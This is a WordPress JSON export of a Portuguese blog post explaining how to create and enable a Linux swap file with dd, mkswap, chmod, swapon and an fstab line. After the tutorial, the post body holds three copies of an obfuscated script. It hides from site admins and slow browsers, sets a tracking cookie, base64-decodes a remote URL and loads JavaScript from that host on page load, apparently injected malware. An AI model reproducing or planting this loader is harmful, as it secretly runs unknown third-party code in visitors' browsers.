{"id":1991,"date":"2011-11-24T09:33:00","date_gmt":"2011-11-24T11:33:00","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=1991"},"modified":"2025-10-26T22:38:18","modified_gmt":"2025-10-27T01:38:18","slug":"criando-swap-utilizando-arquivo","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2011\/11\/24\/criando-swap-utilizando-arquivo\/","title":{"rendered":"Criando Swap utilizando arquivo"},"content":{"rendered":"<p style=\"text-align: justify;\">Em algumas situa\u00e7\u00f5es a mem\u00f3ria da m\u00e1quina n\u00e3o \u00e9 suficiente para os processos que est\u00e3o executando nela. Nessas situa\u00e7\u00f5es \u00e9 necess\u00e1rio o uso da mem\u00f3ria secund\u00e1ria como extens\u00e3o da mem\u00f3ria RAM. Esse tipo de extens\u00e3o \u00e9 conhecido como Swap (ou \u00e1rea de troca).<\/p>\n<p style=\"text-align: justify;\">Normalmente n\u00e3o \u00e9 recomendado o uso da Swap por quest\u00f5es de desempenho da m\u00e1quina, j\u00e1 que a mem\u00f3ria secund\u00e1ria (como o HD) \u00e9 lenta em compara\u00e7\u00e3o com a mem\u00f3ria RAM, mas em casos onde aumentar a mem\u00f3ria RAM n\u00e3o \u00e9 poss\u00edvel, temos que partir para o uso da Swap. O comum \u00e9 cria\u00e7\u00e3o de Swap utilizando uma parti\u00e7\u00e3o do HD, mas, se voc\u00ea n\u00e3o tiver uma parti\u00e7\u00e3o dispon\u00edvel, existe a possibilidade de utilizar um arquivo como Swap, e o processo \u00e9 bem simples.<\/p>\n<p style=\"text-align: justify;\">Crie um arquivo vazio com o tamanho da Swap desejada:<\/p>\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">dd\u00a0 if=\/dev\/zero\u00a0 of=\/swapfile\u00a0 bs=1024 count=1048576<\/pre>\n<p style=\"text-align: justify;\">O comando dd que \u00e9 respons\u00e1vel por convers\u00e3o e c\u00f3pia de arquivo0s. Ele ir\u00e1 criar um arquivo vazio com o nome swapfile a partir da barra com o tamanho de 1GB (1048576).<\/p>\n<p style=\"text-align: justify;\">Transforme o arquivo no formato de Swap:<\/p>\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">mkswap \/swapfile<\/pre>\n<p style=\"text-align: justify;\">Verifique a quantidade de mem\u00f3ria antes de habilitar a Swap com o comando free:<\/p>\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">free -m<\/pre>\n<p>\u00c9 interessante tamb\u00e9m alterar as permiss\u00f5es por quest\u00f5es de seguran\u00e7a:<\/p>\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">chmod 0600 \/swapfile<\/pre>\n<p>Habilite a Swap:<\/p>\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">swapon \/swapfile<\/pre>\n<p>Verifique novamente o total de mem\u00f3ria com o comando free ou digite o seguinte comando:<\/p>\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">cat \/proc\/swaps<\/pre>\n<p style=\"text-align: justify;\">Para n\u00e3o perder a Swap ao reiniciar o computador acrescente a seguinte linha no arquivo \/etc\/fstab:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\/swapfile \u00a0 \u00a0 \u00a0 \u00a0 \u00a0swap \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0swap \u00a0 \u00a0defaults \u00a0 \u00a0 \u00a0 \u00a00 0<\/pre>\n<p style=\"text-align: justify;\">Agora \u00e9 s\u00f3 utilizar. Lembrando que essa \"mem\u00f3ria\" \u00e9 extremamente lenta e s\u00f3 \u00e9 recomendado quando n\u00e3o h\u00e1 mem\u00f3ria RAM dispon\u00edvel.<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Em algumas situa\u00e7\u00f5es a mem\u00f3ria da m\u00e1quina n\u00e3o \u00e9 suficiente para os processos que est\u00e3o executando nela. Nessas situa\u00e7\u00f5es \u00e9 necess\u00e1rio o uso da mem\u00f3ria secund\u00e1ria como extens\u00e3o da mem\u00f3ria RAM. Esse tipo de extens\u00e3o \u00e9 conhecido como Swap (ou <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2011\/11\/24\/criando-swap-utilizando-arquivo\/\">Continue lendo  <span class=\"screen-reader-text\">  Criando Swap utilizando arquivo<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[64],"tags":[],"class_list":["post-1991","post","type-post","status-publish","format-standard","hentry","category-linux"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/1991","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=1991"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/1991\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=1991"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=1991"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=1991"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}